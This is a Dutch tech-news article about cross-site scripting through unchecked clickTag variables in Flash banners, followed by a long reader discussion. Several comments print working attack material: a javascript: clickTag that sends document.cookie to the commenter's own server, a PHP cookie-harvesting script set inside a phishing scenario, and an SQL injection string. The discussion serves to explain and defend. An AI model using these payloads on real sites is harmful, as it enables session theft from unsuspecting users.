Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Door , , 80 reacties

Miljoenen flashbanners zouden gevoelig zijn voor cross-site scripting-aanvallen, omdat de gebruikte actionscript-code slordig is geschreven. Via exploits kan een aanvaller onder andere sessie-id's van een bezoeker buit maken.

De kwetsbaarheid in de betreffende flashbanners is te vinden in onzorgvuldig geschreven actionscript-code. De problemen ontstaan als in de flashcode de clicktarget-variabele niet goed wordt gecontroleerd. Hierdoor kunnen cross-site scripting-aanvallen op een website worden gelanceerd, bijvoorbeeld door javascript-code te injecteren. Hierdoor is het onder andere mogelijk om sessie-id's van een gebruiker te achterhalen als de gebruiker de betreffende banner aanklikt.

De xss-exploit werd al in november ontdekt door een Oekraïense beveiligingsonderzoeker. Via een eenvoudige zoekopdracht in Google constateerde hij onlangs dat miljoenen banners van de onveilige actionscript-code gebruik maken. Een van de oorzaken hiervan is dat de onveilige actionscript-snippets nog steeds als voorbeeldcode worden aangedragen. Ook wordt de code gebruikt in adserversoftware als phpAdsNew, OpenAds en OpenX.

Inmiddels zou de exploit al op grote schaal gebruikt worden door op veelbezochte websites aangepaste flashbanners te plaatsen. Onder andere de adserver van uitgever King Features zou zijn getroffen, wat de firma deed besluiten zijn advertentiesysteem uit de lucht te halen. Daarnaast zouden op het OpenX-advertentiesysteem gemanipuleerde flashbanners zijn geplaatst.

De beveiligingsgaten in Adobe Flash blijven een probleem. Onlangs werden nog problemen ontdekt met de configuratie van crossdomain.xml-bestanden. Deze exploit is potentieel gevaarlijker, omdat er geen gebruikersinteractie voor nodig is. Ook zijn er recentelijk beveiligingsgaten in Flash Media Server en Acrobat Reader blootgelegd die nog door Adobe gedicht moeten worden.

Moderatie-faq Wijzig weergave

Reacties (80)

Die _root.clickTag (of een variant hiervan) zetten we (ik spreek ff namens vele Flashbanner makers) standaard in elke Flash banner, omdat de banner distributeur dan eindeloos veel flexibeler is. Je kan vanuit het bannersysteem elk moment de bestemming van zo'n banner aanpassen, omdat de javascript op de pagina doorgeeft, wat de URL moet zijn. En je kan de Flash banner info mee laten sturen (bijvoorbeeld de score van het spelletje in de banner ofzo).

Als dat systeem kwetsbaar is, ligt dat niet zo zeer aan het actionScript, maar aan de javaScript waarmee het aangestuurd wordt en de hele verdere rim-ram eromheen. Dat bedoelen ze ook met 'injecteren van javascripts'. DAAR gaat het mis. Zeggen dat dan de banner onveilig is en Adobe slecht bezig is, is flauw.
Je kan in de flashbanner zelf checken of hetgeen meegegeven wordt met die parameter voldoet aan bepaalde eisen; een van die eisen kan zijn dat het een geldig URL is en geen script met het javascript: pseudo-protocol.

Het hele punt is juist dat bijna alle bannerbakkers dit stukje script gebruiken zonder enige vorm van sanity-check en de parameters zo in getURL() smijten... Gewoon sloppy programmeerwerk dus.

[Reactie gewijzigd door crisp op 24 december 2009 14:10]

Geen sloppy programmeer werk, de distributeur moet goed checken welke url's er in de flash geinjecteerd worden.
Nee, jij snapt het niet. De hele wereld kan die banner extern embedden en daar javascript in injecteren die bij een klik op die banner uitgevoerd wordt. In sommige gevallen kan je daarmee toegang krijgen tot cookies van degene die klikt van het domein waar die banner op draait.

Als wij bijvoorbeeld een banner met een dergelijke programmeerfout zouden draaien op ons eigen domein, dan kan iemand anders die banner op zijn site misbruiken om aan cookies van Tnet-bezoekers te komen, en dat heb ik gisteravond in een proof-of-concept ook bewezen.

De flash-variabelen zijn externe input, en externe input dien je altijd te valideren. Als je dat niet doet ben je gewoon een sloppy programmeur.
Hoewel je deels gelijk hebt, waarop moet je dan precies controleren? Zoals gezegd, het staat de bannerboer vrij om zelf de url waar de banner heen verwijst aan te passen naar een willekeurige waarde. Als ontwikkelaar is dus elk domein toegestaan, en theoretisch elk path. Je kan de url controleren op 'javascript:' als ten minste met de leverancier is afgesproken dat zulke url's nooit gebruik zullen worden, maar dan ben je er natuurlijk nog niet. Het gevaar zit hem erin dat iemand de url kan veranderen en niet zozeer dat er een bepaalde string in voorkomt. Oftewel, je kunt niet controleren of de doorgekregen url de juiste is. Voor elk ander systeem moet de eerste stap door de bannerboeren worden genomen.
Niet controleren of de url werkend is nee, maar wel filteren op non-URI data
Dus hackpogingen zoals javascript:

Als dat netjes afgevangen wordt werkt deze hele hack niet meer
Never trust the user-input |:(

even uit het blote hoofd iets als :
preg_match("#http://{1}[a-z0-9_]*\.*[a-z0-9_]+\.{1}[a-z]{0,6}#si,$_url);

[Reactie gewijzigd door hackerhater op 25 december 2009 23:03]

Idd, maar dat doet hij niet dus is het sloppy programmeer werk...

Net zoals 10000de sites die als server-side php als achterliggende code hebben... Ik kom nog dagelijks sites tegen die gewoon waardes uit de url gewoon outputten in de html zonder controle....

http://www.blaat.com?username=cyfer

serverside:

<?php

echo $_GET['username'];

?>

Is ook gewoon sloppy programmeerwerk en maakt ook de misbruikt de XSS-exploit mogelijk.
Daarom is het erg handig om bijvoorbeeld mod rewrite te gebruiken, dan kunnen alleen vooraf ingestelde waardes doorgestuurd worden.

Door deze mod kun je links gebruiken als: www.mijnsite.nl/informatie/amsterdam/naam/

Voorbeeld van mod rewrite code:
RewriteEngine On
RewriteBase /
RewriteRule ^informatie/([a-zA-Z0-9;\-]+)/([a-zA-Z0-9\-]+)$ ../engine.php?site=informatie&plaats=$1&naam=$2
Engine.php wordt nu geopend als: engine.php?site=informatie&plaats=amsterdam&naam=naam.
Op deze manier is de engine.php niet toegankelijk (staat niet in de public map) en kun je geen codes injecteren.
Alles wat ingevoerd is moet tussen de a t/m z en 1 t/m 9 vallen.
Bijvoorbeeld deze url:

www.mijnsite.nl/informatie/amsterdam/a';DROP TABLE users; 'a/

Deze aanval werkt gelukkig nu niet meer.
Mocht je geen zin hebben om je hele website overhoop te gooien, deze codes werken ook goed om de input te controleren:
<?PHP
$ID = mysql_real_escape_string($_GET["ID"]);
?>
<?PHP
if(!ereg("^[_a-z0-9-]+",$_GET["ID"])){
//foutmelding...
}
?>

[Reactie gewijzigd door redstorm op 24 december 2009 17:54]

Voor die figuren die nu meteen roepen dat Flash afgeschaft moet worden, plaats ik het even in een meer realistisch perspectief (voor zover crisp hierboven dat nog niet gedaan heeft).

Begrijp dan dat Flash programmeurs meestal onder grote tijdsdruk staan (Goh, ja, het moet eigenlijk gisteren af) en er al genoeg mis kan gaan. Dus je houd je code zo eenvoudig mogelijk.

Geloof me, als je ziet wat zo'n banner allemaal moet kunnen, hele animaties, complete spelletjes zitten er soms in, video-filmpjes, etc, en dat moet je dan in een minimum aan tijd in elkaar knallen, doorgaans ook nog in verschillende versies (denk aan andere formaten en verhoudingen) en soms ook nog in verschillende uitvoeringen (andere talen, kleuren, ander model auto er in, etc).

Als de art director en de copywriter er eindelijk tevreden over zijn, de account manager zijn plasje er over gedaan heeft en de klant het ˇˇk nog steeds mooi vind moet je alleen nog zorgen dat het binnen 30 kb blijft..

Tenslotte moet er nog snel een gif of jpg versie gemaakt worden voor die 0,7% die geen Flash plugin heeft. Beetje een traditie uit het vorige millennium, want ondanks veel bij-de-hand-te reacties zijn er blijkbaar nauwelijks mensen die werkelijk de moeite nemen de standaard ge´nstalleerde Flash plug-in uit te zetten.
Tijdsdruk is niet echt een goede reden om minder aandacht te besteden aan security.
Ja je hebt gelijk. Voor alle figuren die willen dat flash afgeschaft moet worden, als dat gebeurd zullen banners NOOIT meer zo gemakkelijk weg te filteren zijn... }>
(gewoon een blokker installeren of flash verwijderen)

Maar jammer genoeg, zoals je zelf al aanhaf zijn dit de eigenschappen van flash:
Begrijp dan dat Flash programmeurs meestal onder grote tijdsdruk staan (Goh, ja, het moet eigenlijk gisteren af) en er al genoeg mis kan gaan. Dus je houd je code zo eenvoudig mogelijk.
: GOEDKOOP (lees veel te goedkoop gemaakt)
Geloof me, als je ziet wat zo'n banner allemaal moet kunnen, hele animaties, complete spelletjes zitten er soms in, video-filmpjes, etc
: ROMMELIG
ˇˇk nog steeds mooi vind moet je alleen nog zorgen dat het binnen 30 kb blijft..
: LOMP
Tenslotte moet er nog snel een gif of jpg versie gemaakt worden voor die 0,7% die geen Flash plugin heeft.
: VERVANGBAAR (desnoods door js)
ook nog in verschillende versies (denk aan andere formaten en verhoudingen) en soms ook nog in verschillende uitvoeringen (andere talen, kleuren, ander model auto er in, etc).
: NIET ONDERHOUDBAAR
Beetje een traditie uit het vorige millennium,
: VEROUDERD

Met andere woorden: een HEL voor de programmeur EN voor voor de klant.


Om een voorbeeld te geven uit eigen ervaring: een groep van 16 (jonge dynamische net afgestudeerde) programmeurs moeten samen 8 applicaties maken. Ze besluiten de applicaties per 2 te maken. 1 van de applicaties is een flash-spelletje voor op een CD. Niemand wou aan het (eenvoudige) spelletje beginnen. De personen die het spelletje dan toch toegewezen kregen, zijn snel ander werk gaan zoeken...

En Ja, bij deze programmeur is ook geen flash te zien. De reden waarom de meeste mensen het niet blokkeren, is dat de pc (of het os) nog lang niet gebruiksvriendelijk is en dus veel te moeilijk om te begrijpen voor een leek.
En dan maakt het niet uit welke browser je hebt?
Het verschilt een beetje per browser (en mogelijk ook per flash plugin versie) of en hoe het exploitable is. Ik wist gisteravond met een proof-of-concept het sessie-id van onze sysadmin moto-moi te stelen, en hij gebruikte Firefox 3.5.

update: mijn POC maakte gebruik van de GoudenSteeksleutel banner die we linksboven op de index hebben staan; deze was (tot zonet :P) ook via het tweakers.net domein te benaderen. De uitwerking is heel simpel; zie de broncode van deze pagina. Hier laadde ik de flashfile in een iframe met dit stukje javascript als clickTag:

javascript:location='http://therealcrisp.xs4all.nl/exploit/x?c='+escape(document.cookie);

deze url sloeg de inhoud van de cookie op en forwarde vervolgens gewoon naar http://goudensteeksleutel.nl

[Reactie gewijzigd door crisp op 24 december 2009 15:38]

Wat ik persoonlijk weer niet snap is hoe je dit in hemelsnaam moet misbruiken. Je zult zelf de flashbanner moeten laten zien, het is niet zo dat *ik* als gewone t.net user met een exploitable banner op t.net jouw sessie-id kan achterhalen, omdat ik totaal geen controle heb over welke flashfile wordt getoond bij andere gebruikers op t.net. Ik kan hoogstens linken naar een dergelijke banner in deze post, hopend dat een gebruiker op de link en vervolgens op de banner zelf klikt, met als resultaat dat het geheel ook nog eens in het domein van de flashfile draait waardoor er niet eens toegang is tot de cookie van de user op t.net. Wat dat betreft klinkt dit allemaal ernstiger dan het is.

voorbeeld (dit zou je t.net cookie moeten tonen in een messagebox, maar die blijft duidelijk leeg, omdat de cookie wordt gebruikt van domein wie-man-sieht.net ipv die van tweakers.net)

Het volgende weet jij natuurlijk al maar even voor de volledigheid: de daadwerkelijke exploit werkt door via de request URL een variabele te zetten die gebruikt wordt om de gebruiker te forwarden naar een site als er op de banner wordt geklikt. Aangezien die variabele zelf een URL voorstelt, is het dus ook mogelijk om javascript-code uit te voeren (in de context van de pagina) door javascript als "protocol" te gebruiken. Zoals bijvoorbeeld http://example.com/flash....L=javascript:alert('hoi'). Op die manier is het dus ook mogelijk om de cookie op te vragen (waar je sessie-id in staat) en die te submitten naar een site die opgezet is door een hacker, waarmee hij dus alle cookie gegevens kan verzamelen van iedereen die op de banner geklikt heeft. Echter, als die hacker dat wilt toepassen op t.net zal hij op een of andere manier de URL van de banner bovenaan de pagina moeten aanpassen, wat normaliter niet kan. Of hij moet de servers gehackt hebben, maar zodra dat het geval is heeft ie wel meer mogelijkheden om aan gegevens te komen en heeft ie de flash exploit niet meer nodig.

[Reactie gewijzigd door .oisyn op 24 december 2009 13:45]

Even iemand een mailtje sturen in naam van een ad-company of hij even naar die site kan gaan, en op de banner kan klikken om te testen of in zijn land ook de banner werkt, en zoja dan maakt hij kans op een prijs. (Voor ons klinkt deze mail gewoon onzin, maar ze zin genoeg mensen die erin zullen trappen.)

Edit:

Een voorbeeld hoe dit misbruikt kan worden.

Je surft op een site, en je ziet dat er een flash banner op staat. Je test even of de exploit er op werkt. Indien hij werkt ga je de ledenlijst na, of je zoek op een andere manier mensen die deze site gebruiken.

Je stuurt een email naar deze personen uit de naam van de beheerders van de site. Daarvoor gebruik je gewoon een zelf aangemaakte gmail account, want je gaat de personen gewoon even vragen op een banner te klikken, niemand die zal vermoeden dat je hun session wilt stelen.

Je stuurt deze personen een mail met:

Hallo,

Ik ben de eigenaar van blabla zou even een banner voor mij kunnen testen of hij werkt, klik hier. (die klik hier bevat dan als url dit

http://server.cpmstar.com...eight=1,scrollbars=no%22)

)

Indien die persoon er op klikt word hij doorgestuurd naar tweakers.net met daarin dan ook nog meteen zijn cookies als url.

Dan gebruik je een klein php scriptje om de cookie te bewaren en stuur je de bezoeker terug naar de oorspronkelijke site:

<?php
file_put_contents('cookiesdata.php', $_GET['cookie'];
header('Location : blaatsite);

?>

Dan heb je mooi zijn session en hij zal denken dat de banner gewoon niet werkt ;-)

[Reactie gewijzigd door cyf3r op 24 december 2009 14:03]

Het is inderdaad een 'social XSS' exploit; je moet dus een banner zien te vinden die gehost wordt op het tweakers.net domein die vulnerable is voor dit soort injectie, en vervolgens tnet-bezoekers bewegen op een 'injected' versie daarvan op een eigen pagina te klikken.

In die zin lijkt het risico misschien niet zo heel groot, maar met een tijdje 'harvesten' kan je toch resultaten boeken. Daarom is het hebben van een 'wide-open' crossdomain.xml policy op een site (en heel veel sites hebben dat onbewust) zelfs nog gevaarlijker

[Reactie gewijzigd door crisp op 24 december 2009 13:55]

"Hierdoor kunnen cross-site scripting-aanvallen op een website worden gelanceerd, bijvoorbeeld door javascript-code te injecteren. Hierdoor is het onder andere mogelijk om sessie-id's van een gebruiker te achterhalen als de gebruiker de betreffende banner aanklikt."

Ik ben het met je eens, hoe ziet die 'onderzoeker' dat voor zich? Cross-site scripting.. Bedoelt ie dat ie een nep-site bouwt, daar de Flash banners van pakweg Tweaker op toont en dan achter het sessie-id van gebruikers komt? Daar heeft hij op z'n eigen nep-site toch al toegang toe.

En anders moet hij toch eerst een zwakke plek vinden in de scripts van Tweaker en daar javascript in 'injecteren' (aparte term in dit verband).. Lijkt me allemaal eh.. minder eenvoudig dan hoe het artikel het brengt.
Ik vind dat de auteur van bovenstaand stukje de echte issue niet helemaal begrijpt. Er zijn een aantal problemen met Flash, en de meeste daarvan zijn "features" en geen "bugs". Wat dit artikel beschrijft is een manier om Flash javascript te laten executen via te raden ingangen (omdat de auteur van de Flash applicatie de sample code uit de documentatie ad verbatim heeft overgenomen). Ok, dat is 1 probleem dat kan voorkomen, maar het is niet realistisch om dat "slorig" programmeren te noemen... het is gewoon hoe die feature in Flash werkt, en de documentatie verteld je dat je het op die manier moet doen.

Maar dat is niet de echte issue ... het echte probleem met Flash is dat zowat iedere site op Internet Flash banners draait van relatief anonieme derde partijen (via ad brokers etc) binnen afgeschermde delen van hun sites. Het grappige daaraan is dat een Flash app toegang heeft tot de DOM, en dus in de context van een besloten pagina de user sessie zonder problemen kan uitlezen en doorsturen naar een externe server. Dus scenario is: jij logt in op tweakers.net en ziet een pagina met een Flash banner die wordt aangeleverd door 1 of andere externe partij die verder onduidelijke regels heeft op wat voor manier hun banner database wordt gescreent. De banner die je op tweakers.net ziet is voorzien van code die jouw sessie op tweakers.net uitleest, doorstuurt aan iemand anders, die vervolgens jouw sessie kan overnemen.

Je zou kunnen zeggen dat dit een "bug" is in Flash, maar dat is het niet, dit is gewoon wat Flash al jaren doet. Het echte probleem is het gemak waarmee sites als tweakers Flash banners op hun besloten pagina's zetten... maar die insteek zul je denk ik minder snel lezen hiero.
Hetgeen jij beschrijft is een issue van een hele andere orde en geldt eigenlijk voor alles wat je van 3rd-parties opneemt in je site; niet alleen flashbanners, maar ook Google Analytics, Adsense en allerlei andere externe javascripts.

Daarbij heeft flash zelf vziw standaard geen toegang tot de DOM-omgeving waarbinnen hij embedded is, tenzij de flashfile op hetzelfde domain gehost wordt (AllowScriptAcces default naar 'sameDomain'). Het gevaar zit 'm meer in de omringende javascript die voor het serveren van banners gebruikt wordt en die vaak wel in de pagina zelf geladen wordt (tenzij je banners altijd in iframes zet).

Verder vind ik het 'ad verbatim' overnemen van sample code in dit geval toch wel degelijk 'slordig' - elke programmeur zou moeten weten dat je externe input nooit moet vertrouwen en daar op z'n minst een sanity-check op moet doen. Ik ben het met je eens dat het geen probleem van Flash zelf is maar van de gebruikte code, maar het artikel is daar imo toch behoorlijk duidelijk in.
"zou" is echter niet de realiteit.

Al zou iedereen sites precies zo gebruiken als bedoelt, dan zou er helemaal geen validatie nodig zijn!

Maar dat is natuurlijk niet hoe het gaat. Er zijn inderdaad goede, ervaren programmeurs die weten dat externe input nooit zou moeten worden vertrouwd. Er zijn echter ook 'programmeurs' die (totaal) niet ervaren zijn, of die wel ervaren zijn, maar gewoon niet goed.

Bij een situatie waarin je kunt verwachten dat een aanzienlijk deel van de gebruikers beter in de laatste dan de eerste categorie past, is het redelijkerwijs de verantwoordelijkheid van degene die het product aanbieden om op zijn minst betere documentatie te verschaffen. Anders vervallen de veel voorkomende claims over dit soort talen dat ze gemakkelijk door iedereen aangeleerd kunnen worden.

Zelf probeer ik in ieder geval een goede programmeur te zijn, maar mis ik ervaring. Omdat ik dit naast mijn niet direct aan ICT gerelateerde studie doe, ben ik nog te vaak aangewezen op documentatie. Boeken zijn natuurlijk nuttig, maar daar staat vaak toch ook niet alles in. Niet dat ik code direct zonder denken overneem, maar als ik dezelfde code meermaals terug zie komen (wat in dit geval blijkt te zijn), zonder dat er iemand moord en brand roept, dan ga ik de code zien als een blijkbaar geaccepteerde standard.
zonder dat er iemand moord en brand roept
En bij deze is er eens een keer wel moord en brand geroepen, een goede zaak lijkt me ;)
Helemaal mee eens :)
Bij een goede afgeschermde session heeft ie daar niks aan
Ik maak sessies altijd zo dat er een IP-lock is
En aangezien je je IP niet kan voordoen als de eigenaar + antwoord krijgen heb je er niks aan
Een sessie-id wordt in je systeem toch aan een IP adres gekoppeld? Als het IP adres veranderd, dan heb je een hack toch? Dus zo'n groot probleem op fatsoenlijk geprogrammeerde sites hoeft het toch niet te zijn?
Een sessie-id wordt in je systeem toch aan een IP adres gekoppeld?
Nee hoor, daar kun je voor kiezen als je inlogt, maar als je dat niet aanvinkt is het dus ook niet zo. Is ook niet zo handig voor mensen met een dynamisch ip, omdat die dan steeds opnieuw moeten inloggen elke keer als hun ip veranderd is.
Nee hoor, daar kun je voor kiezen als je inlogt, maar als je dat niet aanvinkt is het dus ook niet zo. Is ook niet zo handig voor mensen met een dynamisch ip, omdat die dan steeds opnieuw moeten inloggen elke keer als hun ip veranderd is.
En is die kwetsbaarheid dan niet alleen het resultaat van de luiheid van veel users? Ik bedoel, een extra keertje inloggen vergaat de wereld niet van. Alleen is het zo dat de gemiddelde user gewend is om bij site X zijn user/pass ÚÚn keer in een login-box te rammen, dan 'Bewaar mijn gebruikersnaam en wachtwoord' aan te vinken en te verwachten dat zijn sessie eindeloos geldig blijft. FAIL.

Je draait toch ook elke keer de sleutel om als je in je auto stapt?
Als jij achter multiple proxy servers zit (in het kader van failover etc), dan kan het zomaar zijn dat het IP adres wat de buitenwereld van je ziet per request kan verschillen.
En is die kwetsbaarheid dan niet alleen het resultaat van de luiheid van veel users?
Het gaat om een afweging tussen risico en gemak. Persoonlijk kan het mij niet heel veel schelen als het iemand dan uiteindelijk toch lukt om mijn sessie op t.net te kapen. Hij kan wat posts doen in mijn naam, maar dat is het ook wel. Het gemak om dan met mijn computer altijd ingelogd te zijn (ongeacht mijn ip) vind ik dan veel meer opwegen tegen het nadeel van extra risico bij het kapen van een sessie, waarbij dat risico op t.net sowieso al niet heel erg groot is. Dit staat echt in schril contrast met een auto die gestolen kan worden, en daar loopt je vergelijking dan ook spaak.

[Reactie gewijzigd door .oisyn op 25 december 2009 00:28]

Het probleem is dat de meeste sites niet fatsoenlijk geprogrammeerd zijn (als je een sessie koppelen aan een IP adres fatsoenlijk noemt). 99.9% van de tutorials doen dat niet omdat de auteurs zich er niet van bewust zijn, of omdat de tutorial daarvoor te moeilijk / uitgebreid wordt, en alleen de diehards (die voor zichzelf werken, studenten, etc) zullen net dat stapje verder doen om die extra beveiliging toe te voegen.
Een sessie aan een IP koppelen is gewoon dom en moet je altijd optioneel houden, tenzij je genoegen neemt met het buitensluiten van een percentage vanje bezoekers.
Gecombineerd met auto-login op een cookie maakt dat niet uit
Mijn sessions zijn altijd IP-locked om veiligheids-redenen

Met een bepaalde cookie wordt je automatisch door de login gegooit waarbij op verschillende waardes in de cookie wordt gecheckt. Dus met wisselend IP heb je wellicht 0,5 sec vertraging
De koppeling aan IP is bij ons optioneel, en veel andere sites hebben die mogelijkheid niet eens.
Ik vind het helemaal niet netjes om een sessie aan een IP te koppelen. Zo valt direct een groot voordeel van portable-firefox gebruikers weg. Ik implementeer dit dus ook nooit op mijn websites.
op fatsoenlijk geprogrammeerde sites

Daar ga je al :P
Het gaat hier dus om niet fatsoenlijk geprogrammeerde sites en dat soort sites zijn nou niet schaars te noemen.
Nee, dit kan denk ik op alle browsers worden gedaan, omdat dit meer te maken heeft met de structuren (Javascript, actionscript etc) dan met de browsers.

Ik denk alleen dat het wel een goede reden is om toch ads te blocken, iets wat ik normaal niet doe, maar als het echt zulke onveilige troep is als het bericht vermeld, valt het toch een beetje onder "eigen schuld" dikke bult.

Vraag me alleen af wat dit voor effect heeft op de rest van de interwebz. Veel websites zijn afhankelijk van hun reclame inkomsten via ads, dus als dit bericht naar buiten komt (ook naar Jan Modaal) die daarna een tip krijgt om ads te blokkeren, kan dat misschien voor sommige sites hun ondergang betekenen.
Dit kan niet op alle browsers gebeuren... Bv met IE 8 en Google chrome werkt dit niet, maar met Opera en FF wel (ik heb alleen de laatste nieuwe versies getest).

In IE 8 en Google chrome werkt het niet omdat ze beveiligd zijn tegen het uitvoeren van JS dat via de url word meegestuurd.

edit:
.oisyn heeft gelijk, door een dubbele / achteraan de url toe te voegen werkt dit ook in IE en Chrome.

[Reactie gewijzigd door cyf3r op 24 december 2009 14:05]

Onzin, deze link werkt gewoon in Chrome. Klik op de banner en je zult "hoi" zien.
Ik krijg geen bericht "hoi"...
Chrome 4.0 beta op Windows 7

edit: nvm, niet goed geklikt...

[Reactie gewijzigd door gvdh op 24 december 2009 14:20]

Ik gebruik die ook onder Windows 7 en krijg wel "hoi" te zien.
Alle Gebruikers die Internetexplorer 8 gebruiken zijn niet gevoelig voor dit als ze naar instellingen gaan en bij web op hoge beveiliging zetten.

Dan worden alle javascripts code die betrekking hebben op de pc zelf of op de browser bijvoorbeeld venster zoals hierboven met hoi uitgeschakeld
ter info,

ik zie geen hoi op Safari 4, OSX

Ries
Ik krijg dat niet in opera 10 op windows..
Ook ter info:

Met Konqueror 4.3.1 krijg ik geen hoi te zien.
Linux / Firefox 3.5.6, ook niks..
Onder FF 3.5.6 met NoScript:
- Eerst een waarschuwing waar ik expliciet aan moet geven dat ik Flash toe wil staan.
- (ik kan nu klikken wat ik wil maar er gebeurt niks).
- Ook nog wie-man-sieht.net toestaan scripts uit te voeren.
- Als ik nu klik: "NoScript filtered a potential cross-site scripting (XSS) attempt from [http://tweakers.net]" (en nog steeds geen popup).
- Rechtstreeks openen in een nieuw window geeft een andere foutmelding ("NoScript filtered a potential cross-site scripting (XSS) attempt from [chrome:]") en nog steeds geen popup.
Ik ken de details van de aanval niet (heb nooit ActionScript geschreven), dus ik kan het niet met zekerheid zeggen, maar het lijkt erop dat je met NoScript dus wel veilig zit.
Onzin, deze link werkt gewoon in Chrome. Klik op de banner en je zult "hoi" zien.
Ik zie niet eens een banner om op te klikken...
Ik heb sterk het gevoel dat Adobe veel te weinig verantwoordelijkheid hierin neemt. Ze hebben een groot platform maar reageren nmi erg traag op veiligheidsproblemen. Het wordt al een tijd geroepen hoe onveilig en vooral vatbaar Flash voor beveiligingsproblemen is.
Volgens mij is dit geen Adobe probleem maar een onveilige implementatie in Actionscript, waarbij de input van een variabele niet goed wordt gecheckt.
Misschien niet, maar hoe kan het dat een stuk flash-code ongeauthoriseerd informatie kan ophalen via het systeem waarop het draait?
Ik weet weinig van Flash, maar als je het mij vraagt zit hier iets fundamenteel fout.
Dat ligt bij het OS, de browser of de Flash-software. Waarschijnlijk een gevolg van onvoldoende communicatie.
Weer een extra reden om Flash te bannen.

Macromedia en later Adobe hebben Flash gepusht toen HTML nog erg beperkt was. Met de komst van HTML5 en moderne browsers hebben we Flash niet meer nodig. Flash is gesloten, onveilig, slurpt je accu leeg (met name op niet-Windows platformen) en honoreert je instellingen niet (bijvoorbeeld cookies).

Gelukkig is er geen Flash op de iPhone, zodat een beetje website een fatsoenlijk HTML alternatief zal moeten hebben.
Met de komst van HTML5 en moderne browsers hebben we Flash niet meer nodig.
Weleens een CMS of andere admin applicatie gezien in gemaakt in Flex (is immers ook Flash)? Ik denk dat je versteld staat van wat er mogelijk is, een desktop achtige applicatie is te ontwikkelen in nog geen fractie van de tijd die nodig is om iets soortgelijks te maken in HTML/JavaScript.
Flash is onveilig
Dit hangt in 99% van de gevallen van de programmeur af. 99,9% van alle Flash bestanden die je op het net aantreft zijn in elkaar geplakte tutorials. De makers weten amper wat ze doen.
slurpt je accu
Zelfde probleem als hierboven. Onzinnige loops, te hoge framerates, etc. Alleen op het gebied van video moet ik je gelijk geven. De hardware acceleratie is nog te beperkt.
honoreert je instellingen niet (bijvoorbeeld cookies).
In Flash heet het een Shared Object en met wat Javascript als hulpmiddel zijn normale Cookies ook te gebruiken.
In Flash heet het een Shared Object en met wat Javascript als hulpmiddel zijn normale Cookies ook te gebruiken.
Dat bedoelt Frank-L niet.

Het gaat er om dat ik met Flash heel gemakkelijk een bestandje op jouw pc kan droppen waar je niets van weet.
Laten we meteen alle andere clientside development omgevingen bannen.
zelf draai ik ook al een tijdje het flash blockertje click to flash. een goede oplossing om irritante flash dingetjes uit je browser te weren. werkt alleen onder safari / mac os x :

http://rentzsch.github.com/clicktoflash/

als je een flash dingetje toch wilt zien click je het aan. sommige websites met zinvolle flash zoals youtube kun je op een whitelist zetten.

http://www.youtube.com/watch?v=1TQhr0xsTfA


edit: nog een tip. glimmer blocker is een goed reclame filter. het werkt niet als een plugin maar als een webproxy op je mac zodat alle browsers van het filter profiteren. het werkt dus ook prima met 64-bit safari!

http://glimmerblocker.org/

[Reactie gewijzigd door BreezahBoy op 24 december 2009 20:04]

Je moet dit niet zien als iets dat Adobe kan oplossen. Het is de taak en verantwoordelijkheid van de programmeurs om dit aan te pakken. Overigens moet het bannersysteem echt brak zijn om hier echte problemen mee te kunnen krijgen.

In banners zit een simpele verwijzing naar _root.clickTag zodat je url's niet hard in de banners hoeft te zetten. Als er met die url's gehannest word dan kan je inderdaad vanuit een flash click ook javascript aanroepen op de website.

[Reactie gewijzigd door M3! op 24 december 2009 13:26]

Ik ben absoluut niet thius in actionscript, maar als Adobe nu een sort van Strip_tags functie inbouwd die javascript en andere mogelijke inserts eruit filtert zodat alleen de kale GET string overblijft, dan is deze exploit makelijk te herstellen.
Het leuke was nog dat net voor dit bericht was geplaats ik een flash banner op Tweakers.net zag :+ Maar dit is wel een waarschuwing om op te passen zodat je niet getroffen word.

Ik ga dit in de gaten houden en eventueel dan maar geen flash meer als het zo gaat.
Ik word steeds blijer met m'n FlashBlock extensie.

@retepvosnul: Nee, ik heb een Tweakers-bannervrij account :) Bovendien kunnen reclames prima als plaatje of animated gif getoond worden: flash is een te grote resource hog voor niet-noodzakelijke doeleinden, neem daarbij nog eens de veiligheidsrisico's. En dan laat ik het irritante bijbehorende geluid van reclames buiten beschouwing...

[Reactie gewijzigd door Zwartoog op 24 december 2009 16:15]

Flash compleet blokkeren zit er niet in omdat je de laatste tijd steeds vaker ziet dat websites het hip vinden om hun website compleet in flash aan te bieden en dat je zelf mag gaan zoeken waar de knoppen zitten.

Helaas kun je op internet om sommige dingen gewoon niet heen zoals bijvoorbeeld flash en IE6.

Wat mij nu prima bevalt is AdBlock voor firefox (of soortgelijke plugin voor andere browser), ben je ook meteen van de javascript ads van Google e.a. af maar kun je toch de sites die alleen uit flash bestaan ook bekijken.
Meteen even de dutchblock lijst toevoegen en de Amerikaanse easylist en je hebt zo goed als geen last meer van reclames.

edit: links toegevoegd

[Reactie gewijzigd door redstorm op 24 december 2009 15:50]

Yep en dan veel geld geven aan SEO bedrijven omdat Google ze niet meer vind. Geweldig hoe het geld op die mannier rondgepompt word.... :+
Flash kun je (als je geen bezwaar hebt om flashsites te missen) compleet 'negeren' door de plugins van Adobe niet te installeren, uit te schakelen of gewoon, niet te updaten.

Totaal offtopic, maar ook deze site vraagt weer om voor de zoveelste keer de allerallernieuwste versie van Flash plugin te downloaden. Ik ben er zat mee. De functionaliteit die ik voorheen ervaarde met Flash (ads/movies) verandert voor mijn gevoel niet, dus waarom een update eisen? Safety updates... dat zal allemaal wel. De basis van wat Flash kan, moet gewoon blijven werken.
Het irritante is dat je voor bepaalde sites dat k÷tflash alleen maar moet installeren om die tyfusreklame te zien. wtf?
Valt dat niet onder het moedwillig blokkeren van reclame op tweakerts.not ?
Niet dat de site er beter uit ziet dan... maar toch..
ja.. en dan? ik gebruik ook adblockplus maar ik heb ook nog zelden tot nooit op een banner geklikt toen ik nog geen ad blocker gebruikte, dus door mij zouden adverteerders toch niks mislopen

en mensen die wel happig zijn zijn meestal toch niet slim / ge´nteresseerd genoeg om zoiets te installeren
Volgens mij ben je ooit eens akkoord gegaan met voorwaarden waarin staat dat je geen AD-Blocker mag gebruiken. Je doet nu dingen waarvan je van te voren expliciteit hebt aangegeven ze niet te doen. Volgens mij heeft Tweakers.net dan het recht om jou er wat van te zeggen ;)
Dit klopt en staat inderdaad in de algemene voorwaarden bij punt 4.2:
